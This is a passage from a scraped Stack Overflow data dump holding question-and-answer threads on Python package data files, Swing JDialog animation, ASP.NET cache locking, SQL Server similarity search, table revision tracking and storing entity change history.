"text": "<p>Use <code>pkgutil.get_data</code>. It’s the cousin of <code>pkg_resources.resource_stream</code>, but in the standard library, and should work with flat filesystem installs as well as zipped packages and other importers.</p>\n"
},
{
"answer_id": 56714420,
"author": "ankostis",
"author_id": 548792,
"author_profile": "https://Stackoverflow.com/users/548792",
"pm_score": 2,
"selected": false,
"text": "<p>Use the standard Python-3.7 library's <a href=\"https://docs.python.org/3.8/library/importlib.html?highlight=importlib#module-importlib.resources\" rel=\"nofollow noreferrer\"><code>importlib.resources</code> module</a>, \nwhich is <a href=\"https://importlib-resources.readthedocs.io/en/latest/using.html#example\" rel=\"nofollow noreferrer\">more efficient</a> than <a href=\"http://setuptools.readthedocs.io/en/latest/pkg_resources.html#basic-resource-access\" rel=\"nofollow noreferrer\"><code>setuptools:pkg_resources</code></a>\n(on previous Python versions, use the backported <a href=\"https://importlib-resources.readthedocs.io/en/latest/using.html\" rel=\"nofollow noreferrer\"><code>importlib_resources</code> library</a>).</p>\n\n<p><strong>Attention:</strong> For this to work, the folder where the data-file resides <em>must be a regular python-package</em>. That means you must add an <code>__init__.py</code> file into it, if not already there.</p>\n\n<p>Then you can access it like this:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>try:\n import importlib.resources as importlib_resources\nexcept ImportError:\n # In PY<3.7 fall-back to backported `importlib_resources`.\n import importlib_resources\n\n\n## Note that the actual package could have been used, \n# not just its (string) name, with something like: \n# from XXX import YYY as data_pkg\ndata_pkg = '.'\nfname = 'database.dat'\n\ndb_bytes = importlib_resources.read_binary(data_pkg, fname)\n# or if a file-like stream is needed:\nwith importlib_resources.open_binary(data_pkg, fname) as db_file:\n ...\n</code></pre>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/39104",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4198/"
] | I've written a Python package that includes a bsddb database of pre-computed values for one of the more time-consuming computations. For simplicity, my setup script installs the database file in the same directory as the code which accesses the database (on Unix, something like /usr/lib/python2.5/site-packages/mypackage/).
How do I store the final location of the database file so my code can access it? Right now, I'm using a hack based on the `__file__` variable in the module which accesses the database:
```
dbname = os.path.join(os.path.dirname(__file__), "database.dat")
```
It works, but it seems... hackish. Is there a better way to do this? I'd like to have the setup script just grab the final installation location from the distutils module and stuff it into a "dbconfig.py" file that gets installed alongside the code that accesses the database. | Try using pkg\_resources, which is part of setuptools (and available on all of the pythons I have access to right now):
```
>>> import pkg_resources
>>> pkg_resources.resource_filename(__name__, "foo.config")
'foo.config'
>>> pkg_resources.resource_filename('tempfile', "foo.config")
'/usr/lib/python2.4/foo.config'
```
There's more discussion about using pkg\_resources to get resources on the [eggs](http://peak.telecommunity.com/DevCenter/PythonEggs#accessing-package-resources) page and the [pkg\_resources](http://peak.telecommunity.com/DevCenter/PkgResources) page.
Also note, where possible it's probably advisable to use pkg\_resources.resource\_stream or pkg\_resources.resource\_string because if the package is part of an egg, resource\_filename will copy the file to a temporary directory. |
39,108 | <p>What would be the best way to draw a simple animation just before showing a modal <a href="https://docs.oracle.com/javase/9/docs/api/javax/swing/JDialog.html" rel="nofollow noreferrer">JDialog</a>? (i.e. expanding borders from the mouse click point to the dialog location). I thought it would be possible to draw on the glasspane of the parent frame on the <code>setVisible</code> method of the dialog.</p>
<p>However, since the JDialog is modal to the parent, I couldn't find a way to pump drawing events into <a href="https://docs.oracle.com/javase/tutorial/uiswing/concurrency/dispatch.html" rel="nofollow noreferrer">EDT</a> before the JDialog becomes visible, since the current event on the EDT has not been completed yet.</p>
| [
{
"answer_id": 39868,
"author": "rcreswick",
"author_id": 3446,
"author_profile": "https://Stackoverflow.com/users/3446",
"pm_score": 1,
"selected": false,
"text": "<p>Are you trying to show the JDialog indepentently of the annimation? In order to get the order set properly, you may need to bundle those actions in a runnable that is passed to the EDT at once.</p>\n\n<p>eg:</p>\n\n<pre><code>SwingUtilities.invokeLater(new Runnable(){\n public void run(){\n doAnnimation();\n showDialog();\n }\n}\n</code></pre>\n\n<p>It may be best to subclass JDialog so that you can just add the doAnnimation() logic to the setVisible(..) or show() method before calling the superclass implementation. </p>\n\n<p>Finally, I imagine you'll need to set the dimensions of the dalog manually -- I don't remember if Java will know the actual size of the dialog before it is shown, so you may get some useless information for your annimation if you query the size before showing it.</p>\n"
},
{
"answer_id": 42959,
"author": "John Meagher",
"author_id": 3535,
"author_profile": "https://Stackoverflow.com/users/3535",
"pm_score": 0,
"selected": false,
"text": "<p>You may be able to take @rcreswick's answer and expand on it a little to make it work.</p>\n\n<pre><code>void myShowDialog() {\n new Thread(new Runnable() {public void run() {\n SwingUtilities.invokeAndWait(new Runnable() { public void run() {\n doAnimation();\n } } );\n // Delay to wait for the animation to finish (if needed)\n Thread.sleep(500);\n SwingUtilities.invokeAndWait(new Runnable() { public void run() {\n showDialog();\n } } );\n } } ).start();\n}\n</code></pre>\n\n<p>It's pretty ugly and would have to be invoked in place of the basic showDialog() call, but it should work. </p>\n"
},
{
"answer_id": 92610,
"author": "Roland Schneider",
"author_id": 16515,
"author_profile": "https://Stackoverflow.com/users/16515",
"pm_score": 1,
"selected": false,
"text": "<p>Maybe you have a look at the SwingWorker Project which is included in JSE 6. <a href=\"http://swingworker.dev.java.net/\" rel=\"nofollow noreferrer\">(Link to SwingWorker)</a> In the book \"Filthy Rich Client\" that I am reading at the moment they use this tool a lot. Maybe you can find a hint in the examples on the books website: <a href=\"http://filthyrichclients.org/\" rel=\"nofollow noreferrer\">http://filthyrichclients.org/</a></p>\n"
},
{
"answer_id": 3662376,
"author": "Jay Askren",
"author_id": 240566,
"author_profile": "https://Stackoverflow.com/users/240566",
"pm_score": 0,
"selected": false,
"text": "<p>One possibility is to paint your own dialog on the Glass Pane. Then you have full control of the dialog and can paint whatever you want. <a href=\"http://developerlife.com/tutorials/?p=16\" rel=\"nofollow noreferrer\">Here's a tutorial on creating animations</a> on the Glass Pane.</p>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/39108",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/3993/"
] | What would be the best way to draw a simple animation just before showing a modal [JDialog](https://docs.oracle.com/javase/9/docs/api/javax/swing/JDialog.html)? (i.e. expanding borders from the mouse click point to the dialog location). I thought it would be possible to draw on the glasspane of the parent frame on the `setVisible` method of the dialog.
However, since the JDialog is modal to the parent, I couldn't find a way to pump drawing events into [EDT](https://docs.oracle.com/javase/tutorial/uiswing/concurrency/dispatch.html) before the JDialog becomes visible, since the current event on the EDT has not been completed yet. | Are you trying to show the JDialog indepentently of the annimation? In order to get the order set properly, you may need to bundle those actions in a runnable that is passed to the EDT at once.
eg:
```
SwingUtilities.invokeLater(new Runnable(){
public void run(){
doAnnimation();
showDialog();
}
}
```
It may be best to subclass JDialog so that you can just add the doAnnimation() logic to the setVisible(..) or show() method before calling the superclass implementation.
Finally, I imagine you'll need to set the dimensions of the dalog manually -- I don't remember if Java will know the actual size of the dialog before it is shown, so you may get some useless information for your annimation if you query the size before showing it. |
39,112 | <p>I know in certain circumstances, such as long running processes, it is important to lock ASP.NET cache in order to avoid subsequent requests by another user for that resource from executing the long process again instead of hitting the cache.</p>
<p>What is the best way in c# to implement cache locking in ASP.NET? </p>
| [
{
"answer_id": 39144,
"author": "khebbie",
"author_id": 4189,
"author_profile": "https://Stackoverflow.com/users/4189",
"pm_score": 2,
"selected": false,
"text": "<p>Craig Shoemaker has made an excellent show on asp.net caching:\n<a href=\"http://polymorphicpodcast.com/shows/webperformance/\" rel=\"nofollow noreferrer\">http://polymorphicpodcast.com/shows/webperformance/</a></p>\n"
},
{
"answer_id": 39150,
"author": "Jon Limjap",
"author_id": 372,
"author_profile": "https://Stackoverflow.com/users/372",
"pm_score": 0,
"selected": false,
"text": "<p>This article from CodeGuru explains various cache locking scenarios as well as some best practices for ASP.NET cache locking:</p>\n\n<p><a href=\"http://www.codeguru.com/csharp/.net/net_asp/article.php/c5363/\" rel=\"nofollow noreferrer\">Synchronizing Cache Access in ASP.NET</a></p>\n"
},
{
"answer_id": 40065,
"author": "a7drew",
"author_id": 4239,
"author_profile": "https://Stackoverflow.com/users/4239",
"pm_score": 8,
"selected": true,
"text": "<p>Here's the basic pattern:</p>\n\n<ul>\n<li>Check the cache for the value, return if its available</li>\n<li>If the value is not in the cache, then implement a lock</li>\n<li>Inside the lock, check the cache again, you might have been blocked</li>\n<li>Perform the value look up and cache it</li>\n<li>Release the lock</li>\n</ul>\n\n<p>In code, it looks like this:</p>\n\n<pre><code>private static object ThisLock = new object();\n\npublic string GetFoo()\n{\n\n // try to pull from cache here\n\n lock (ThisLock)\n {\n // cache was empty before we got the lock, check again inside the lock\n\n // cache is still empty, so retreive the value here\n\n // store the value in the cache here\n }\n\n // return the cached value here\n\n}\n</code></pre>\n"
},
{
"answer_id": 40106,
"author": "Seb Nilsson",
"author_id": 2429,
"author_profile": "https://Stackoverflow.com/users/2429",
"pm_score": 1,
"selected": false,
"text": "<p>I saw one pattern recently called Correct State Bag Access Pattern, which seemed to touch on this.</p>\n\n<p>I modified it a bit to be thread-safe.</p>\n\n<p><a href=\"http://weblogs.asp.net/craigshoemaker/archive/2008/08/28/asp-net-caching-and-performance.aspx\" rel=\"nofollow noreferrer\">http://weblogs.asp.net/craigshoemaker/archive/2008/08/28/asp-net-caching-and-performance.aspx</a></p>\n\n<pre><code>private static object _listLock = new object();\n\npublic List List() {\n string cacheKey = \"customers\";\n List myList = Cache[cacheKey] as List;\n if(myList == null) {\n lock (_listLock) {\n myList = Cache[cacheKey] as List;\n if (myList == null) {\n myList = DAL.ListCustomers();\n Cache.Insert(cacheKey, mList, null, SiteConfig.CacheDuration, TimeSpan.Zero);\n }\n }\n }\n return myList;\n}\n</code></pre>\n"
},
{
"answer_id": 41314,
"author": "John Owen",
"author_id": 2471,
"author_profile": "https://Stackoverflow.com/users/2471",
"pm_score": 5,
"selected": false,
"text": "<p>For completeness a full example would look something like this.</p>\n\n<pre><code>private static object ThisLock = new object();\n...\nobject dataObject = Cache[\"globalData\"];\nif( dataObject == null )\n{\n lock( ThisLock )\n {\n dataObject = Cache[\"globalData\"];\n\n if( dataObject == null )\n {\n //Get Data from db\n dataObject = GlobalObj.GetData();\n Cache[\"globalData\"] = dataObject;\n }\n }\n}\nreturn dataObject;\n</code></pre>\n"
},
{
"answer_id": 3135475,
"author": "user378380",
"author_id": 378380,
"author_profile": "https://Stackoverflow.com/users/378380",
"pm_score": 4,
"selected": false,
"text": "<p>Just to echo what Pavel said, I believe this is the most thread safe way of writing it</p>\n\n<pre><code>private T GetOrAddToCache<T>(string cacheKey, GenericObjectParamsDelegate<T> creator, params object[] creatorArgs) where T : class, new()\n {\n T returnValue = HttpContext.Current.Cache[cacheKey] as T;\n if (returnValue == null)\n {\n lock (this)\n {\n returnValue = HttpContext.Current.Cache[cacheKey] as T;\n if (returnValue == null)\n {\n returnValue = creator(creatorArgs);\n if (returnValue == null)\n {\n throw new Exception(\"Attempt to cache a null reference\");\n }\n HttpContext.Current.Cache.Add(\n cacheKey,\n returnValue,\n null,\n System.Web.Caching.Cache.NoAbsoluteExpiration,\n System.Web.Caching.Cache.NoSlidingExpiration,\n CacheItemPriority.Normal,\n null);\n }\n }\n }\n\n return returnValue;\n }\n</code></pre>\n"
},
{
"answer_id": 23154648,
"author": "nfplee",
"author_id": 155899,
"author_profile": "https://Stackoverflow.com/users/155899",
"pm_score": 2,
"selected": false,
"text": "<p>I have come up with the following extension method:</p>\n\n<pre><code>private static readonly object _lock = new object();\n\npublic static TResult GetOrAdd<TResult>(this Cache cache, string key, Func<TResult> action, int duration = 300) {\n TResult result;\n var data = cache[key]; // Can't cast using as operator as TResult may be an int or bool\n\n if (data == null) {\n lock (_lock) {\n data = cache[key];\n\n if (data == null) {\n result = action();\n\n if (result == null)\n return result;\n\n if (duration > 0)\n cache.Insert(key, result, null, DateTime.UtcNow.AddSeconds(duration), TimeSpan.Zero);\n } else\n result = (TResult)data;\n }\n } else\n result = (TResult)data;\n\n return result;\n}\n</code></pre>\n\n<p>I have used both @John Owen and @user378380 answers. My solution allows you to store int and bool values within the cache aswell.</p>\n\n<p>Please correct me if there's any errors or whether it can be written a little better.</p>\n"
},
{
"answer_id": 24080538,
"author": "Michael Logutov",
"author_id": 219900,
"author_profile": "https://Stackoverflow.com/users/219900",
"pm_score": 0,
"selected": false,
"text": "<p>I've wrote a library that solves that particular issue: <a href=\"https://github.com/MichaelLogutov/Rocks.Caching\" rel=\"nofollow\">Rocks.Caching</a></p>\n\n<p>Also I've blogged about this problem in details and explained why it's important <a href=\"http://michaellogutov.com/caching-in-multi-thread-application-its-not-that-simple/\" rel=\"nofollow\">here</a>.</p>\n"
},
{
"answer_id": 26523173,
"author": "Tarık Özgün Güner",
"author_id": 1786056,
"author_profile": "https://Stackoverflow.com/users/1786056",
"pm_score": 0,
"selected": false,
"text": "<p>I modified @user378380's code for more flexibility. Instead of returning TResult now returns object for accepting different types in order. Also adding some parameters for flexibility. All the idea belongs to\n @user378380.</p>\n\n<pre><code> private static readonly object _lock = new object();\n\n\n//If getOnly is true, only get existing cache value, not updating it. If cache value is null then set it first as running action method. So could return old value or action result value.\n//If getOnly is false, update the old value with action result. If cache value is null then set it first as running action method. So always return action result value.\n//With oldValueReturned boolean we can cast returning object(if it is not null) appropriate type on main code.\n\n\n public static object GetOrAdd<TResult>(this Cache cache, string key, Func<TResult> action,\n DateTime absoluteExpireTime, TimeSpan slidingExpireTime, bool getOnly, out bool oldValueReturned)\n{\n object result;\n var data = cache[key]; \n\n if (data == null)\n {\n lock (_lock)\n {\n data = cache[key];\n\n if (data == null)\n {\n oldValueReturned = false;\n result = action();\n\n if (result == null)\n { \n return result;\n }\n\n cache.Insert(key, result, null, absoluteExpireTime, slidingExpireTime);\n }\n else\n {\n if (getOnly)\n {\n oldValueReturned = true;\n result = data;\n }\n else\n {\n oldValueReturned = false;\n result = action();\n if (result == null)\n { \n return result;\n }\n\n cache.Insert(key, result, null, absoluteExpireTime, slidingExpireTime);\n }\n }\n }\n }\n else\n {\n if(getOnly)\n {\n oldValueReturned = true;\n result = data;\n }\n else\n {\n oldValueReturned = false;\n result = action();\n if (result == null)\n {\n return result;\n }\n\n cache.Insert(key, result, null, absoluteExpireTime, slidingExpireTime);\n } \n }\n\n return result;\n}\n</code></pre>\n"
},
{
"answer_id": 38907980,
"author": "cwills",
"author_id": 256475,
"author_profile": "https://Stackoverflow.com/users/256475",
"pm_score": 5,
"selected": false,
"text": "<p>There is no need to lock the whole cache instance, rather we only need to lock the specific key that you are inserting for. \nI.e. No need to block access to the female toilet while you use the male toilet :)</p>\n\n<p>The implementation below allows for locking of specific cache-keys using a concurrent dictionary. This way you can run GetOrAdd() for two different keys at the same time - but not for the same key at the same time. </p>\n\n<pre><code>using System;\nusing System.Collections.Concurrent;\nusing System.Web.Caching;\n\npublic static class CacheExtensions\n{\n private static ConcurrentDictionary<string, object> keyLocks = new ConcurrentDictionary<string, object>();\n\n /// <summary>\n /// Get or Add the item to the cache using the given key. Lazily executes the value factory only if/when needed\n /// </summary>\n public static T GetOrAdd<T>(this Cache cache, string key, int durationInSeconds, Func<T> factory)\n where T : class\n {\n // Try and get value from the cache\n var value = cache.Get(key);\n if (value == null)\n {\n // If not yet cached, lock the key value and add to cache\n lock (keyLocks.GetOrAdd(key, new object()))\n {\n // Try and get from cache again in case it has been added in the meantime\n value = cache.Get(key);\n if (value == null && (value = factory()) != null)\n {\n // TODO: Some of these parameters could be added to method signature later if required\n cache.Insert(\n key: key,\n value: value,\n dependencies: null,\n absoluteExpiration: DateTime.Now.AddSeconds(durationInSeconds),\n slidingExpiration: Cache.NoSlidingExpiration,\n priority: CacheItemPriority.Default,\n onRemoveCallback: null);\n }\n\n // Remove temporary key lock\n keyLocks.TryRemove(key, out object locker);\n }\n }\n\n return value as T;\n }\n}\n</code></pre>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/39112",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2471/"
] | I know in certain circumstances, such as long running processes, it is important to lock ASP.NET cache in order to avoid subsequent requests by another user for that resource from executing the long process again instead of hitting the cache.
What is the best way in c# to implement cache locking in ASP.NET? | Here's the basic pattern:
* Check the cache for the value, return if its available
* If the value is not in the cache, then implement a lock
* Inside the lock, check the cache again, you might have been blocked
* Perform the value look up and cache it
* Release the lock
In code, it looks like this:
```
private static object ThisLock = new object();
public string GetFoo()
{
// try to pull from cache here
lock (ThisLock)
{
// cache was empty before we got the lock, check again inside the lock
// cache is still empty, so retreive the value here
// store the value in the cache here
}
// return the cached value here
}
``` |
39,240 | <p>I have lots of article store in MS SQL server 2005 database in a table called Articles-</p>
<pre><code>"Articles (ArticleID, ArticleTitle, ArticleContent)"
</code></pre>
<p>Now I want some SP or SQL query which could return me similar Article against any user's input (very much like "Similar Posts" in blogs OR "Related Questions" in stackoverflow). The matching should work on both ArticleTitle and ArticleContent. The query should be intelligent enough to sort the result on the basis on their relevancy.</p>
<p>Is it possible to do this in MS SQL Server 2005?</p>
| [
{
"answer_id": 39257,
"author": "aku",
"author_id": 1196,
"author_profile": "https://Stackoverflow.com/users/1196",
"pm_score": 0,
"selected": false,
"text": "<p>First of all you need to define what article similarity means.<br>\nFor example you can associate some meta information with articles, like tags.<br>\nTo be able to find similar articles you need to extract some features from them, for example you can build full text index.</p>\n\n<p>You can take advantage of full text search capability of MSSQL 2005</p>\n\n<pre><code>-- Assuming @Title contains title of current articles you can find related articles runnig this query \nSELECT * FROM Acticles WHERE CONTAINS(ArticleTitle, @Title)\n</code></pre>\n"
},
{
"answer_id": 39270,
"author": "Ivan Bosnic",
"author_id": 3221,
"author_profile": "https://Stackoverflow.com/users/3221",
"pm_score": 0,
"selected": false,
"text": "<p>I think the question is what 'similar' means to you. If you create a field for user to input some kind of tags, it becomes much more easier to query.</p>\n"
},
{
"answer_id": 39316,
"author": "GateKiller",
"author_id": 383,
"author_profile": "https://Stackoverflow.com/users/383",
"pm_score": 2,
"selected": true,
"text": "<p>Something like this might work, a kind of ranking system. You would probably have to split the string in your application to build a SQL string, but I have used similar to build an effective site search.</p>\n\n<pre><code>Select\nTop 10\nArticleID,\nArticleTitle,\nArticleContent\nFrom\nArticles\nOrder By\n(Case When ArticleTitle = 'Article Title' Then 1 Else 0 End) Desc,\n(Case When ArticleTitle = 'Article' Then 1 Else 0 End) Desc,\n(Case When ArticleTitle = 'Title' Then 1 Else 0 End) Desc,\n(Case When Soundex('Article Title') = Soundex(ArticleTitle) Then 1 Else 0 End) Desc,\n(Case When Soundex('Article') = Soundex(ArticleTitle) Then 1 Else 0 End) Desc,\n(Case When Soundex('Title') = Soundex(ArticleTitle) Then 1 Else 0 End) Desc,\n(Case When PatIndex('%Article%Title%', ArticleTitle) > 0 Then 1 Else 0 End) Desc,\n(Case When PatIndex('%Article%', ArticleTitle) > 0 Then 1 Else 0 End) Desc,\n(Case When PatIndex('%Title%', ArticleTitle) > 0 Then 1 Else 0 End) Desc,\n(Case When PatIndex('%Article%Title%', ArticleContent) > 0 Then 1 Else 0 End) Desc,\n(Case When PatIndex('%Article%', ArticleContent) > 0 Then 1 Else 0 End) Desc,\n(Case When PatIndex('%Title%', ArticleContent) > 0 Then 1 Else 0 End) Desc\n</code></pre>\n\n<p>You can then add/remove case statements from the order by clause to improve the list based on your data.</p>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/39240",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/191/"
] | I have lots of article store in MS SQL server 2005 database in a table called Articles-
```
"Articles (ArticleID, ArticleTitle, ArticleContent)"
```
Now I want some SP or SQL query which could return me similar Article against any user's input (very much like "Similar Posts" in blogs OR "Related Questions" in stackoverflow). The matching should work on both ArticleTitle and ArticleContent. The query should be intelligent enough to sort the result on the basis on their relevancy.
Is it possible to do this in MS SQL Server 2005? | Something like this might work, a kind of ranking system. You would probably have to split the string in your application to build a SQL string, but I have used similar to build an effective site search.
```
Select
Top 10
ArticleID,
ArticleTitle,
ArticleContent
From
Articles
Order By
(Case When ArticleTitle = 'Article Title' Then 1 Else 0 End) Desc,
(Case When ArticleTitle = 'Article' Then 1 Else 0 End) Desc,
(Case When ArticleTitle = 'Title' Then 1 Else 0 End) Desc,
(Case When Soundex('Article Title') = Soundex(ArticleTitle) Then 1 Else 0 End) Desc,
(Case When Soundex('Article') = Soundex(ArticleTitle) Then 1 Else 0 End) Desc,
(Case When Soundex('Title') = Soundex(ArticleTitle) Then 1 Else 0 End) Desc,
(Case When PatIndex('%Article%Title%', ArticleTitle) > 0 Then 1 Else 0 End) Desc,
(Case When PatIndex('%Article%', ArticleTitle) > 0 Then 1 Else 0 End) Desc,
(Case When PatIndex('%Title%', ArticleTitle) > 0 Then 1 Else 0 End) Desc,
(Case When PatIndex('%Article%Title%', ArticleContent) > 0 Then 1 Else 0 End) Desc,
(Case When PatIndex('%Article%', ArticleContent) > 0 Then 1 Else 0 End) Desc,
(Case When PatIndex('%Title%', ArticleContent) > 0 Then 1 Else 0 End) Desc
```
You can then add/remove case statements from the order by clause to improve the list based on your data. |
39,243 | <p>Is there any query which can return me the number of revisions made to the structure of a database table?</p>
<p>Secondly, how can I determine the number of pages (in terms of size) present in mdf or ldf files?</p>
| [
{
"answer_id": 39269,
"author": "Christian Hagelid",
"author_id": 202,
"author_profile": "https://Stackoverflow.com/users/202",
"pm_score": 2,
"selected": false,
"text": "<p>I think you need to create a <code>trigger</code> and store all changes to the table in a separate table. You can then use this table to get the revision history.</p>\n"
},
{
"answer_id": 39291,
"author": "Matt Lacey",
"author_id": 1755,
"author_profile": "https://Stackoverflow.com/users/1755",
"pm_score": 0,
"selected": false,
"text": "<p><code>SQL Server</code> doesn't keep track of changes so it can't tell you this.</p>\n\n<p>The only way you may be able to do this is if you had a copy of all the scripts applied to the database.</p>\n\n<p>In order to be able to capture this information in the future you should look at <code>DDL triggers (v2005+)</code> which will enable you to record changes.</p>\n"
},
{
"answer_id": 39311,
"author": "pirho",
"author_id": 3911,
"author_profile": "https://Stackoverflow.com/users/3911",
"pm_score": 2,
"selected": true,
"text": "<p>You can get last modify date or creation date of object in <code>SQL Server</code>.</p>\n\n<p>For examle info on tables:</p>\n\n<pre><code>SELECT * FROM sys.objects WHERE type='U'\n</code></pre>\n\n<p><a href=\"http://msdn.microsoft.com/en-us/library/ms190324.aspx\" rel=\"nofollow noreferrer\">More info on msdn</a></p>\n\n<p>Number of pages can be fetched from <code>sys.database_files</code>.</p>\n\n<p><a href=\"http://msdn.microsoft.com/en-us/library/ms174397.aspx\" rel=\"nofollow noreferrer\">Check documentation</a></p>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/39243",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4021/"
] | Is there any query which can return me the number of revisions made to the structure of a database table?
Secondly, how can I determine the number of pages (in terms of size) present in mdf or ldf files? | You can get last modify date or creation date of object in `SQL Server`.
For examle info on tables:
```
SELECT * FROM sys.objects WHERE type='U'
```
[More info on msdn](http://msdn.microsoft.com/en-us/library/ms190324.aspx)
Number of pages can be fetched from `sys.database_files`.
[Check documentation](http://msdn.microsoft.com/en-us/library/ms174397.aspx) |
39,281 | <p>We have a requirement in project to store all the revisions(Change History) for the entities in the database. Currently we have 2 designed proposals for this:</p>
<p>e.g. for "Employee" Entity</p>
<p><strong>Design 1:</strong></p>
<pre><code>-- Holds Employee Entity
"Employees (EmployeeId, FirstName, LastName, DepartmentId, .., ..)"
-- Holds the Employee Revisions in Xml. The RevisionXML will contain
-- all data of that particular EmployeeId
"EmployeeHistories (EmployeeId, DateModified, RevisionXML)"
</code></pre>
<p><strong>Design 2:</strong></p>
<pre><code>-- Holds Employee Entity
"Employees (EmployeeId, FirstName, LastName, DepartmentId, .., ..)"
-- In this approach we have basically duplicated all the fields on Employees
-- in the EmployeeHistories and storing the revision data.
"EmployeeHistories (EmployeeId, RevisionId, DateModified, FirstName,
LastName, DepartmentId, .., ..)"
</code></pre>
<p>Is there any other way of doing this thing? </p>
<p>The problem with the "Design 1" is that we have to parse XML each time when you need to access data. This will slow the process and also add some limitations like we cannot add joins on the revisions data fields.</p>
<p>And the problem with the "Design 2" is that we have to duplicate each and every field on all entities (We have around 70-80 entities for which we want to maintain revisions).</p>
| [
{
"answer_id": 39296,
"author": "Matthew Watson",
"author_id": 3839,
"author_profile": "https://Stackoverflow.com/users/3839",
"pm_score": 3,
"selected": false,
"text": "<p>The way that I've seen this done in the past is have</p>\n\n<pre><code>Employees (EmployeeId, DateModified, < Employee Fields > , boolean isCurrent );\n</code></pre>\n\n<p>You never \"update\" on this table (except to change the valid of isCurrent), just insert new rows. For any given EmployeeId, only 1 row can have isCurrent == 1. </p>\n\n<p>The complexity of maintaining this can be hidden by views and \"instead of\" triggers (in oracle, I presume similar things other RDBMS), you can even go to materialized views if the tables are too big and can't be handled by indexes).</p>\n\n<p>This method is ok, but you can end up with some complex queries.</p>\n\n<p>Personally, I'm pretty fond of your Design 2 way of doing it, which is how I've done it in the past as well. Its simple to understand, simple to implement and simple to maintain. </p>\n\n<p>It also creates very little overhead for the database and application, especially when performing read queries, which is likely what you'll be doing 99% of the time. </p>\n\n<p>It would also be quite easy to automatic the creation of the history tables and triggers to maintain (assuming it would be done via triggers).</p>\n"
},
{
"answer_id": 39297,
"author": "mattruma",
"author_id": 1768,
"author_profile": "https://Stackoverflow.com/users/1768",
"pm_score": 1,
"selected": false,
"text": "<p>We have had similar requirements, and what we found was that often times the user just wants to <strong>see</strong> what has been changed, not necessarily roll back any changes. </p>\n\n<p>I'm not sure what your use case is, but what we have done was create and Audit table that is automatically updated with changes to an business entity, including the friendly name of any foreign key references and enumerations. </p>\n\n<p>Whenever the user saves their changes we reload the old object, run a comparison, record the changes, and save the entity (all are done in a single database transaction in case there are any problems). </p>\n\n<p>This seems to work very well for our users and saves us the headache of having a completely separate audit table with the same fields as our business entity.</p>\n"
},
{
"answer_id": 39300,
"author": "Chris Roberts",
"author_id": 475,
"author_profile": "https://Stackoverflow.com/users/475",
"pm_score": 6,
"selected": false,
"text": "<p>I think the key question to ask here is 'Who / What is going to be using the history'?</p>\n\n<p>If it's going to be mostly for reporting / human readable history, we've implemented this scheme in the past...</p>\n\n<p>Create a table called 'AuditTrail' or something that has the following fields...</p>\n\n<pre><code>[ID] [int] IDENTITY(1,1) NOT NULL,\n[UserID] [int] NULL,\n[EventDate] [datetime] NOT NULL,\n[TableName] [varchar](50) NOT NULL,\n[RecordID] [varchar](20) NOT NULL,\n[FieldName] [varchar](50) NULL,\n[OldValue] [varchar](5000) NULL,\n[NewValue] [varchar](5000) NULL\n</code></pre>\n\n<p>You can then add a 'LastUpdatedByUserID' column to all of your tables which should be set every time you do an update / insert on the table.</p>\n\n<p>You can then add a trigger to every table to catch any insert / update that happens and creates an entry in this table for each field that's changed. Because the table is also being supplied with the 'LastUpdateByUserID' for each update / insert, you can access this value in the trigger and use it when adding to the audit table.</p>\n\n<p>We use the RecordID field to store the value of the key field of the table being updated. If it's a combined key, we just do a string concatenation with a '~' between the fields.</p>\n\n<p>I'm sure this system may have drawbacks - for heavily updated databases the performance may be hit, but for my web-app, we get many more reads than writes and it seems to be performing pretty well. We even wrote a little VB.NET utility to automatically write the triggers based on the table definitions.</p>\n\n<p>Just a thought!</p>\n"
},
{
"answer_id": 39303,
"author": "Steve Moon",
"author_id": 3660,
"author_profile": "https://Stackoverflow.com/users/3660",
"pm_score": 0,
"selected": false,
"text": "<p>It sounds like you want to track changes to specific entities over time, e.g. ID 3, \"bob\", \"123 main street\", then another ID 3, \"bob\" \"234 elm st\", and so on, in essence being able to puke out a revision history showing every address \"bob\" has been at.</p>\n\n<p>The best way to do this is to have an \"is current\" field on each record, and (probably) a timestamp or FK to a date/time table.</p>\n\n<p>Inserts have to then set the \"is current\" and also unset the \"is current\" on the previous \"is current\" record. Queries have to specify the \"is current\", unless you want all of the history.</p>\n\n<p>There are further tweaks to this if it's a very large table, or a large number of revisions are expected, but this is a fairly standard approach.</p>\n"
},
{
"answer_id": 39308,
"author": "Mendelt",
"author_id": 3320,
"author_profile": "https://Stackoverflow.com/users/3320",
"pm_score": 2,
"selected": false,
"text": "<p>If you want to do the first one you might want to use XML for the Employees table too. Most newer databases allow you to query into XML fields so this is not always a problem. And it might be simpler to have one way to access employee data regardless if it's the latest version or an earlier version.</p>\n\n<p>I would try the second approach though. You could simplify this by having just one Employees table with a DateModified field. The EmployeeId + DateModified would be the primary key and you can store a new revision by just adding a row. This way archiving older versions and restoring versions from archive is easier too.</p>\n\n<p>Another way to do this could be the <a href=\"http://www.danlinstedt.com/\" rel=\"nofollow noreferrer\">datavault model</a> by Dan Linstedt. I did a project for the Dutch statistics bureau that used this model and it works quite well. But I don't think it's directly useful for day to day database use. You might get some ideas from reading his papers though.</p>\n"
},
{
"answer_id": 39313,
"author": "aku",
"author_id": 1196,
"author_profile": "https://Stackoverflow.com/users/1196",
"pm_score": 3,
"selected": false,
"text": "<p>Ramesh, I was involved in development of system based on first approach.<br>\nIt turned out that storing revisions as XML is leading to a huge database growth and significantly slowing things down.<br>\nMy approach would be to have one table per entity:</p>\n\n<pre><code>Employee (Id, Name, ... , IsActive) \n</code></pre>\n\n<p>where <strong>IsActive</strong> is a sign of the latest version</p>\n\n<p>If you want to associate some additional info with revisions you can create separate table\ncontaining that info and link it with entity tables using PK\\FK relation.</p>\n\n<p>This way you can store all version of employees in one table.\nPros of this approach:</p>\n\n<ul>\n<li>Simple data base structure</li>\n<li>No conflicts since table becomes append-only</li>\n<li>You can rollback to previous version by simply changing IsActive flag</li>\n<li>No need for joins to get object history</li>\n</ul>\n\n<p>Note that you should allow primary key to be non unique.</p>\n"
},
{
